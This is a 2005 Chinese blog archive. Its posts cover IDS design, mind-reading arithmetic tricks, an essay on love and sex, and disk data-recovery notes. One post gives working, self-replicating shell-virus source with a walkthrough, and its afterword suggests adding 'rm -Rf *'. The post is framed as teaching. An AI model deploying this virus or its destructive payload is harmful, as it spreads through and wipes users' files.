  设计数据分析模块的工作量浩大,并且,考虑到"道高一尺,魔高一丈"的黑客手法日益翻新,所以,这注定是一个没有终点的过程,需要不断地更新、升级、完善。在这里需要特别注意三个问题:
  ① 应优化检测模型和算法的设计,确保系统的执行效率;
  ② 安全规则的制订要充分考虑包容性和可扩展性,以提高系统的伸缩性;
  ③ 报警消息要遵循特定的标准格式,增强其共享与互操作能力,切忌随意制订消息格式的不规范做法。

第四步 构建控制台子系统

  控制台子系统负责向网络管理员汇报各种网络违规行为,并由管理员对一些恶意行为采取行动(如阻断、跟踪等)。由于Linux或Unix平台在支持界面操作方面远不如常用的Windows产品流行,所以,为了把IDS做成一个通用、易用的系统,笔者建议将控制台子系统在Windows系列平台上实现。

  控制台子系统的主要任务有两个:
  ① 管理数据采集分析中心,以友好、便于查询的方式显示数据采集分析中心发送过来的警报消息;
  ② 根据安全策略进行一系列的响应动作,以阻止非法行为,确保网络的安全。

  控制台子系统的设计重点是:警报信息查询、探测器管理、规则管理及用户管理。

  1.警报信息查询:网络管理员可以使用单一条件或复合条件进行查询,当警报信息数量庞大、来源广泛的时候,系统需要对警报信息按照危险等级进行分类,从而突出显示网络管理员需要的最重要信息。

  2.探测器管理:控制台可以一次管理多个探测器(包括启动、停止、配置、查看运行状态等),查询各个网段的安全状况,针对不同情况制订相应的安全规则。

  3.规则库管理功能:为用户提供一个根据不同网段具体情况灵活配置安全策略的工具,如一次定制可应用于多个探测器、默认安全规则等。

  4.用户管理:对用户权限进行严格的定义,提供口令修改、添加用户、删除用户、用户权限配置等功能,有效保护系统使用的安全性。

  第五步 构建数据库管理子系统

  一个好的入侵检测系统不仅仅应当为管理员提供实时、丰富的警报信息,还应详细地记录现场数据,以便于日后需要取证时重建某些网络事件。

  数据库管理子系统的前端程序通常与控制台子系统集成在一起,用Access或其他数据库存储警报信息和其他数据。该模块的数据来源有两个:
  ① 数据分析子系统
发来的报警信息及其他重要信息;
  ② 管理员经过条件查询后对查询结果处理所得的数据,如生成的本地文件、格式报表等。

  第六步 联调,一个基本的IDS搭建完毕

  以上几步完成之后,一个IDS的最基本框架已被实现。但要使这个IDS顺利地运转起来,还需要保持各个部分之间安全、顺畅地通信和交互,这就是联调工作所要解决的问题。

  首先,要实现数据采集分析中心和控制管理中心之间的通信,二者之间是双向的通信。控制管理中心显示、整理数据采集分析中心发送过来的分析结果及其他信息,数据采集分析中心接收控制管理中心发来的配置、管理等命令。注意确保这二者之间通信的安全性,最好对通信数据流进行加密操作,以防止被窃听或篡改。同时,控制管理中心的控制台子系统和数据库子系统之间也有大量的交互操作,如警报信息查询、网络事件重建等。

  联调通过之后,一个基本的IDS就搭建完毕。后面要做的就是不断完善各部分功能,尤其是提高系统的检测能力。

- 作者: 冥冢 2005年04月19日, 星期二 16:44  回复(1) |  引用(0) 加入博采

已锁定
此日志的浏览权限已被作者锁定,请同作者联系,发送短消息,如果你的身份符合作者的要求,点击此处可以进行浏览

- 作者: 冥冢 2005年03月14日, 星期一 20:25  回复(2) |  引用(0) 加入博采

无人能逃的灵异测试
★★★切记要慢慢,请不要第一次就看完了全部!一定要慢慢的往下看!这样你才能真的体会到真的很很诡异的喔!

★★★切记要慢慢,请不要第一次就看完了全部!一定要慢慢的往下看!这样你才能真的体会到真的很很诡异的喔!

   请第一次看到这个测试的朋友,首先静下心来,认真的,快速的用自己的心算来坐下面这个测试,看清楚要求,真实的说出当时的第一个脑子里面的答案,才能看出这个测试的最有效的结果!谢谢!

   很诡异喔!!! 但要以最快速的时间心算所看到的数学程序,然后回答问题!开始啰!往下走,并答题吧!

   2+2=?

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   4+4=?

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   8+8=?

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   16+16=?

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************快!随便在12跟5的中间挑一个数字!

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************挑了吗? 现在继续往下....

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************你挑的数字是"7",对吧!


无人能逃的灵异测试2

1+5

   ************

   ************

   ************

   ************

   ************
   ************

   ************

   ************

   ************

   ************

   ************

   2+4

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   3+3

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   4+2

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   5+1

   ************

   ************

   ************

   ************

   ************

  

   ************

   ************

   ************

   ************

   ************

   ************

   ************现在持续默念"6"这个数字15秒,然后往下卷动画面!

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************快!想一个蔬菜的名字!然后继续往下卷动%

************

   ************

   ************

   ************

   ************继续卷动.......

   ************
   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

你想的是大白菜,对吧
如果不是,你是占2%可以在正常情形下还可以有余力思考别的事的少数人口,98%的人会回答大白菜。诡异哦!听说这个测验是从爱丽丝梦游仙境中兔子国翻译的......

无人能逃的灵异测试3

再来做一个测试> > > >>你是否正常﹖
   > > > >>請跟著以下的指示,盡快地回答以下的問題,但要先完成一个問題才回答下一個。你不需要寫下答案,只要心算便可。

   > > > >>15+6是多少?

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>3+56

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>89+2

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>12+53

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>75+26

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>
   > > > >>

   > > > >>75+26

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>25+52

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>63+32

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>123+5

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>快!!!心想一種工具和一種顏色!

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>

   > > > >>



你剛剛想的是否紅红色的鎚子(chui zi)﹖

   > > > >>如果答案不是的話,你就是2%的與別人不同的人∕不正常人,通常98%的人做會回答紅色的鎚子 怎么样!准确吧!

无人能逃的灵异测试4

继续作下一个实验!
跟着下列叙述并且快速回答问题!

   算算看啰!

   ************

   ************

   ************

   ************

   ************

   3+78=?

   ************

   ************

   ************

   ************

   1+5

   ************

   ************

   ************

   ************

   ***********

   2+4

   ************

   ************

   ************

   ************

   ************

   3+3

   ************

   ************

   ************

   ************

   ************

   4+2

   ************

   ************

   ************

   ************

   ************

   5+1

   ************

   ************

   ************

   ************

   ************

   ************

   现在持续默念"6"这个数字15秒,然后往下卷动画面!

   ************

   ************

   ************

   ************

   ************

   快!说出一种水果的名字!然后继续往下卷动作!

   ************

   ************

   ************

   ************

   ************

   ************

   继续卷动.......

   ************

   ************

   ************

   ************

   ************

   8+329=?

   ************

   ***********

   **********

   ***********

   ***********

   ***********

   27+7=?

   ***********

   快卷动

   ************

   ************

   ************

   ************

   ************

   说出一个面部器官

   ***********

   ***********

   ***********

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   说出一种家禽的名字

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   ************

   哈哈,是苹果和鼻子和鸡,对不对?

是不是很准呀???

 

我测试了一下,有两次我属于那2%,有点得意:)

 

- 作者: 冥冢 2005年02月25日, 星期五 00:35  回复(5) |  引用(0) 加入博采

我想和你上床。
我爱你,我就想和你上床!我就想和你上床,其实是因为我真爱着你。
 

    女人为了爱情,付出了性;男人为了性,付出了爱情。不可否认,与相爱的人在一起,最原始而无形的心理就是想和她上床,一辈子在一起就是一辈子同床。纵览古今,多少流芳百世的所谓金典的爱情,如"梁山伯与祝英台"、"孟姜女"、"罗密欧与朱丽叶"或近代电影所宣扬的瞬间及永恒的爱情"坦泰尼克号"无不以性来升华真爱,"上床"这个外延广阔而内涵真实的智慧动物行为还不是作为一个重要而必不可少的内容而千古延续吗。柏拉图式的爱情在当今世界上是少有的,可以说几乎没有。 
不管是什么原因,世人大多数是虚伪的,他们总是喜欢附庸风雅,装腔作势的。孔父子有云:"君子疾夫舍曰‘欲之'而必为之辞。"心里想着怎样才能使她心甘情愿与自己上床,嘴上却讲的富丽堂皇,把自己的欲望描绘的是如此这般纯洁而神圣。到头来只要对方稍有传统保守的反应就显得不是滋味而雷霆暴发。 

   

我想和你上床,这并不意味着动机不良,为什么总是自己疑神疑鬼而不敢直言呢?当爱情到达一定程度,就提升为一种动作,而这动作也就是爱情必不可少的内容——性行为。唯物主义认为,物质决定意识,所以现实的性行为将决定着爱情的走向。从某种意义说,爱情发展到一定程度才有性的出现,性是爱情的升华,又同时受爱情的影响。我想和你上床,这不仅是一种爱情最原始的表现形式,更是真诚最彻底的示爱方式。虽然听起来不堪入耳,却说明了内心深处最本原的想法与爱的载体,虽然是潜意识的,但更真实、更纯洁。 

   之所以让人接受不了的原因,完全是因为人们长久受传统思想的束搏习惯于前人制定的框框架架里,无法一下子适应这不合常规却又是最真实的真实。就像一个总在奉承话中生活的人,突然有一天听到批评他的话,总觉得非常难受一样。当然,我想和你上床,他是基于真诚示爱之上的心理表现,是一种自始至终恒久不变的唯你心态。而不是见异思迁,朝三暮四的心机。不否认有不负责任的言行,如性搔扰、强奸等,是一种侵犯人身权的犯罪行为,是受法律约束和道德谴责的。 

相爱中的恋人有想和对方上床的心理是正常的,这才是真正人的想法。有这种想法,决不是什么动机不良,无须强压于心底而不敢直言。憋是会憋出病来的。当相爱的一方提出了这个要求时,就表明他对爱的勇敢进取和对爱升华的决心。当然冲动是存在的,可冲动也是爱的一种表现,只不过对爱的诠释认识得肤浅些罢了。

我爱你,我就想和你上床!我就想和你上床,其实是因为我真爱着你。



   

- 作者: 冥冢 2005年02月25日, 星期五 00:00  回复(5) |  引用(0) 加入博采

SHELL病毒简介
SHELL病毒的一个制作方法和范例..希望大家在这里能有所启发..
SHELL病毒简介

1. 前言


  说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下
这么一个小脚本,功能就是感染其他shell程序。

  这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以
算教学意义大于实际意义吧。


2. 程序代码


#!/bin/sh
#文件名: virus_demo.sh
#用途  : shell病毒演示。
#说明  : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写  : watercloud@xfocus.org
#日期  : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep '<+!a%C&t:>' $f ;       then continue; fi
  if sed -n '1p' $f | grep 'csh'; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。


3.  演示


测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x   2 cloud    staff        512  6??  4 17:43 ./
drwxr-xr-x  10 cloud    staff       1024  6??  4 17:41 ../
-rwxr--r--   1 cloud    staff         89  6??  4 17:43 test.sh
-rwxr--r--   1 cloud    staff        773  6??  4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  if grep '<+!a%C&t:>' $f ;       then continue; fi
  if sed -n '1p' $f | grep 'csh'; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
        
-rwxr-xr-x   1 cloud    staff        724  6??  4 17:44 test.sh
-rwxr-xr-x   1 cloud    staff        773  6??  4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:


#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

  if [ ! -w $f -a ! -r $vFile ];  then continue; fi
  目标是否有写权限,病毒文件是否有读权限。

  if grep '<+!a%C&t:>' $f ;       then continue; fi
  目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

  if sed -n '1p' $f | grep 'csh'; then continue; fi
  如果目标shell是以csh的那语法上差异太大了,放弃吧。

  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
  过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
  插入点。

  sed -n "1,${vNo}p" $vTmp >$f
  一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

  (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
  再来一个sed完成搬运病毒体的工作。

  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

  rm -f $vTmp
  清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用




5. 后记

  从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。

  上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。

  顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!


#EOF
#GAME OVER
echo "望斧正!"

- 作者: 冥冢 2005年02月20日, 星期日 10:13  回复(2) |  引用(0) 加入博采

硬盘数据恢复知识2
FAT表引起的读写故障
硬盘文件分配表庞大无法手工修复,只能依靠工具。


FAT表引起的读写故障

硬盘文件分配表庞大无法手工修复,只能依靠工具。
FAT表记录着硬盘数据的存储地址,每一个文件都有一组FAT链指定其存放的簇地址。FAT表的损坏意味着文件内容的丢失。庆幸的是DOS系统本身提供了两个FAT表,如果目前使用的FAT表损坏,可用第二个进行覆盖修复。但由于不同规格的磁盘其FAT表的长度及第二个FAT表的地址也是不固定的,所以修复时必须正确查找其正确位置,一些工具软件如NU等本身具有这样的修复功能,使用也非常的方便。采用DEBUG也可实现这种操作,即采用其m命令把第二个FAT表移到第一个表处即可(不建议这样做)。如果第二个FAT表也损坏了,则也无法把硬盘恢复到原来的状态,但文件的数据仍然存放在硬盘的数据区中,可采用CHKDSK或SCANDISK命令进行修复,最终得到*.CHK文件,这便是丢失FAT链的扇区数据。如果是文本文件则可从中提取出完整的或部分的文件内容。

软盘文件分配FAT表修复

在运行某个程序时,有时会在屏幕上看到:File allocation table bad,drive A(文件分配表坏)的错误信息,导致程序不能正常运行。
我们知道,在磁盘中有两个文件分配表:FAT1和FAT2。FAT1用于日常工作,FAT2备用。因此,在FAT1损坏时,可用FAT2表修补。
具体方法是:运行DEBUG,将FAT2读入缓冲区,用缓冲区的FAT2数据覆盖磁盘中的FAT1。
例:修复3寸1.44M软盘,在A驱
在DOS环境下进入debug环境
在"-"提示符下进行如下操作:
-L 100 0 0A 9
-W 100 0 1 9
-q
其它类型的软盘的修复方法参照下表进行。
起止逻辑扇区 5.25"低密 5.25"高密 3.5"低密 3.5"高密
BOOT区 0 0 0 0
FAT1 1-2 1-7 1-3 1-9
FAT2 3-4 8-0EH 4-6 0A-12H
例如我们要修复5.25"高密软盘的FAT,则需将上述参数改为:
-L 100 0 8 7
-W 100 0 1 7
-q
●硬盘数据恢复,二分区表的推算
Master Boot Record

The Master Boot Record is located at the physical beginning of a hard disk, editable using the Disk Editor. It consists of a master bootstrap loader code (446 bytes) and four subsequent, identically structured partition records. Finally, the hexadecimal signature 55AA completes a valid Master Boot Record.


硬盘的主引导记录在硬盘的0磁头0柱面1扇区。
主引导记录由三部分组成:
(1)主引导程序;
(2)四个分区表;
(3)主引导记录有效标志字。

详见表1。
[表1主引导记录结构]

位   置 内   容
0000H -00D9H 主引导记录代码区
00DAH -01BDH 空闲区
01BEH -01CDH 分区1结构信息
01CEH -01DDH 分区2结构信息
01DEH -01EDH 分区3结构信息
01EEH -01FDH 分区4结构信息
01FEH -01FFH 55 AAH 主 引 导 记 录 有 效 标 志

说明:
A,分区表自偏移1BEH处开始,分区表共64个字节,表中可填入四个分区信息,每十六个字节为一个分区说明项,这16个字节含义详见表2。
B,必须注意:扇区号的高二位占用柱面号所在字节的最高二位,即柱面号为10位,扇区号6位。
The format of a partition record is as follows:

Offset Size Description
0 8 bit A value of 80 designates an active partition.

1 8 bit Partition start head
2 8 bit Partition start sector (bits 0-5)
3 8 bit Partition start track (bits 8,9 in bits 6,7 of sector)
4 8 bit Operating system indicator
5 8 bit Partition end head
6 8 bit Partition end sector (bits 0-5)
7 8 bit Partition end track (bits 8,9 in bits 6,7 of sector)
8 32 bit Sectors preceding partition
C 32 bit Length of partition in sectors

Operating system indicators: (hexadecimal, incomplete list)

00 Empty partition-table entry
01 DOS FAT12
04 DOS FAT16 (up to 32 MB)
05 DOS 3.3+ extended partition
06 DOS 3.31+ FAT16 (over 32 MB)
07 OS/2 HPFS, Windows NT NTFS, Advanced Unix
08 OS/2 v1.0-1.3, AIX bootable partition, SplitDrive
09 AIX data partition
0A OS/2 Boot Manager
0B Windows 95+ FAT32
0C Windows 95+ FAT32 (using LBA-mode INT 13 extensions)
0E DOS FAT16 (over 32 MB, using INT 13 extensions)
0F Extended partition (using INT 13 extensions)
17 Hidden NTFS partition

1B Hidden Windows 95 FAT32 partition
1C Hidden Windows 95 FAT32 partition (using LBA-mode INT 13 extensions)
1E Hidden LBA VFAT partition
42 Dynamic disk volume
50 OnTrack Disk Manager, read-only partition
51 OnTrack Disk Manager, read/write partition
81 Linux
82 Linux Swap partition, Solaris (Unix)
83 Linux native file system (ext2fs/xiafs)
85 Linux EXT
86 FAT16 volume/stripe et (Windows NT)
87 HPFS fault-tolerant mirrored partition, NTFS volume/stripe set

BE Solaris boot partition
C0 DR-DOS/Novell DOS secured partition
C6 Corrupted FAT16 volume/stripe set (Windows NT)
C7 Corrupted NTFS volume/stripe set
F2 DOS 3.3+ secondary partition


[表2分区结构信息]
偏移 长度   含义
00H  1   活动分区指示符,该值为80H表示为可自举分区(仅有一个),该值为00H表示其余分区。
01H  1   分区起始磁头号。
02H  1   低6位是分区开始的扇区,高2位是分区开始的柱面的头两位。
03H  1   分区开始的起始柱面号的低8位。
04H  1   系统标志,该值为01H表示采用12位FAT格式的DOS 分区,该值04H表示采用16位FAT格式的DOS分区,该值为05H表示为扩展DOS分区,为06H表示为DOS系统。
05H  1   分区终止头号
06H  1   低6位为分区结束的扇区号,头2位为结束柱面号的前2位。
07H  1  分区结束柱面号的低8位。
08H  4   本分区前的扇区数,低位字节在 前。
0CH  4   本分区总的扇区数,低位字节在前。

重要公式:
02H为X,03H为Y。柱面=(X>>6)*16^2+Y;
以我的硬盘为例:
有九个可用分区,二个不可用分区;
两个Primary NTFS分区,第二个为active;
七个Extened 分区,第五个为NTFS其他为FAT32.
.
主分区表数据:位置cylinder0, head 0,sector1
偏移 0 1 2 3 4 5 6 7 8 9 A B C D E F
0 33 C0 8E D0 BC 00 7C FB 50 07 50 1F FC BE 1B 7C
1 BF 1B 06 50 57 B9 E5 01 F3 A4 CB BE BE 07 B1 04
2 38 2C 7C 09 75 15 83 C6 10 E2 F5 CD 18 8B 14 8B
3 EE 83 C6 10 49 74 16 38 2C 74 F6 BE 10 07 4E AC
4 3C 00 74 FA BB 07 00 B4 0E CD 10 EB F2 89 46 25
5 96 8A 46 04 B4 06 3C 0E 74 11 B4 0B 3C 0C 74 05
6 3A C4 75 2B 40 C6 46 25 06 75 24 BB AA 55 50 B4
7 41 CD 13 58 72 16 81 FB 55 AA 75 10 F6 C1 01 74
8 0B 8A E0 88 56 24 C7 06 A1 06 EB 1E 88 66 04 BF
8 0A 00 B8 01 02 8B DC 33 C9 83 FF 05 7F 03 8B 4E
9 25 03 4E 02 CD 13 72 29 BE 59 07 81 3E FE 7D 55
A AA 74 5A 83 EF 05 7F DA 85 F6 75 83 BE 2E 07 EB
B 8A 98 91 52 99 03 46 08 13 56 0A E8 12 00 5A EB
C D5 4F 74 E4 33 C0 CD 13 EB B8 00 00 80 24 45 00
D 56 33 F6 56 56 52 50 06 53
1B 00 00
1C 01 46 07 FE 7F 1E C6 28 11 00 99 31 35 00 80 00
1D 41 30 07 FE 7F B2 30 85 4A 00 C3 1C 20 00 00 00
1E 41 B3 0F FE FF FF F3 A1 6A 00 08 FE F7 01 00 00
1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA

主分区表分析:
Master bootstrap loader code0000H -00D9H 33 C0 8E D0 BC 00 7C FB 50 。。。主引导记录代码,表示住分区表
01BEH -01CDH 分区1结构信息multi(0)disk(0)rdisk(0)partition(0)知该分区Boot Sector位于:起始磁头为0头,起始柱面为70D,起始扇区为1扇区。
01CEH -01DDH 分区2结构信息 multi(0)disk(0)rdisk(0)partition(1)活动分区指示符为80H,表示该分区为可自举分区。系统标志为07表示OS/2 HPFS, Windows NT NTFS, Advanced Unix系统。知该分区Boot Sector位于:起始磁头为0头,起始柱面为304D,起始扇区为1扇区。
01DEH -01EDH 分区3结构信息Extended partition系统标志字节为0F,说明是扩展分区Extended partition (using INT 13 extensions)。从扩展分区说明项知下一个分区表位于:起始磁头为0头,起始柱面为435D,起始扇区为1扇区。
01EEH -01FDH 分区4结构信息分区说明项数据均为00H没有定义。
01FEH -01FFH 55 AAH 主引导记录有效标志

扩展分区一分区表数据:位置cylinder435D, head 0,sector1
偏移 0 1 2 3 4 5 6 7 8 9 A B C D E F
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1B 00 00
1C 41 B3 0B FE FF 08 3F 00 00 00 97 D5 53 00 00 00
1D C1 09 05 FE FF FF D6 D5 53 00 D6 D5 53 00 00 00
1E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA

扩展分区表分析:
01BEH -01CDH 分区1结构信息multi(0)disk(0)rdisk(0)partition(3)知该分区位于:起始磁头为1头,起始柱面为435D,起始扇区为1扇区(分区表占用磁头0)。系统标志字0BH表示 Windows 95+ FAT32
01BEH -01CDH 分区1结构信息系统标志字节为05H,说明是扩展DOS分区。于是知下一个分区表位于:起始磁头为0头,起始柱面为777D,起始扇区为1扇区。
Partition Table Entry #3 数据均为00H没有定义。
Partition Table Entry #4 数据均为00H没有定义。

其他扩展分区同理。


●硬盘数据恢复,深入逻辑分区

FDISK /MBR 命令流程的分支有二:
读得主引导扇区检验标志(字) AA55h,操作单一,仅向主引导扇区位移 0-1BDH 写入当前系统固有的主引导程序,安全可靠。
难能可贵的是它不触动主引导信息其余模块(分区表、检验标志),以及随后的 DOS 引导信息、文件分配表、根目录,省事许多。检出检验标志非 AA55h,写主引导程序、初始化分区表及登录检验标志,在 MS DOS 7.0 - 8.0 环境中,常规以系统支持的最大容量分配给基本 DOS 分区的方式登录分区表。分区表初始化(可能幸存的分区表被清除)的后果不难想象; 目前硬盘大都设置有其它分区,即使在高版本 DOS 环境中运作,常规建立的分区表每难能符合实际需求,后续工作量也相当可观。
不过,它也不触动位于其后的 DOS 引导信息、文件分配表及根目录,高版本 FDISK /MBR 命令适用于修复仅设基本 DOS 分区的硬盘分区表及检验标志受损,或主引导信息全毁。
可见,在运行 FDISK /MBR 命令之前,需查明检验标志是否 AA55h,酌情处理,切忌盲动。
经由 DOS 软盘引导,认硬盘,检验标志必健在。
另外,在 FDSIK 主菜单中选 4. Display Partition Information,列出分区信息,进一步证实检验标志正常; 若现 No partitition defined,检验标志每变异,而分区表或许尚健在。



现在深入每一个逻辑分区。逻辑分区结构如下:

FAT12/16
Logical sector =0 Logical sector=1(Floppy disk=1~9) Logical sector=1+sectors_per_FAT(Floppydisk=10~18) Logical sector=1+sectors_per_FAT*2(Floppy disk=19~32) Logical sector=1+sectors_per_FAT*2+sectors_of_rootdirectories(Floppy disk=33~)
DOS Boot Sector FAT1 FAT2 ROOT Directory Data area(where files and subdirectories are stored)

FAT32
Usually 32 sectors Logical sector =0032h Logical sector =0032h+ 2*sectors_per_FAT
DOS Boot Recore 3 Sectors Reserved sectors Copy of record Reserve sectors FAT1 FAT2 Data area(where files and all bdirectories are stored)


在逻辑分区当中用逻辑的cluster和sector。换算关系为:
cluster=logical_sector/sectors_per_cluster;
这里sectors_per_cluster是在BIOS Parameter Block里得到的。
Sector=( logical_sector mod sectors_per_track)+1;
Head=( logical_sector / sectors_per_track)mod total_heads;
Cylinder= logical_sector(sectors_per_track* total_heads);
logical_sector=( cluster-2)*sectors_per_cluster+sector_of_file_area_offset;
logical_sector=(sector-1)+head*sector_per_track+sector*sector_per_track*heads;
每个扇区长度=512字节
总簇数=逻辑盘容量/簇容量
总簇数=FAT表长度(字节)/每个表项长度(字节)-2
FAT表长度=逻辑盘容量/簇容量*每个表项长度

Dos引导记录块位于逻辑0 sector中包含三部分:
(1) 磁盘IO参数表BPB;
(2) 磁盘基数表;
(3) 引导区代码。

FAT16的BPB(BIOS Parameter Block)表,描述逻辑盘结构组成,包含隐藏扇区数目(从0-1-1开始计算)、FAT扇区数、FAT拷贝数、硬盘磁头总数、根目录表项最大值等。FAT32系统中,BPB表的偏移与FAT16不同,但表项基本相同。整个隐藏扇区部分都作为逻辑盘的描述区域。

典型的primary partion 的磁盘IO参数表BPB:

典型的 logical partion 磁盘参数表:



硬盘BPB主要结构说明:
(Cylinder柱面/磁道-Side/Head磁头-Sector扇区地址以下简称为?-?-?)
主分区
名称 地址 长度(扇区)
主引导记录(Main Boot Record) 0-0-1 1
系统扇区(System Secotrs) 0-0-2,0-0-63 62
引导扇区(Boot) 0-1-1 1

扩展分区
名称 地址 长度(扇区)
扩展分区(Extend Partition) ?-y-1 1
系统扇区(System Secotrs) ?-y-2,?-y-63 62
引导扇区(Boot) ?-(y+1)-1 1
其后各项与主分区相同......

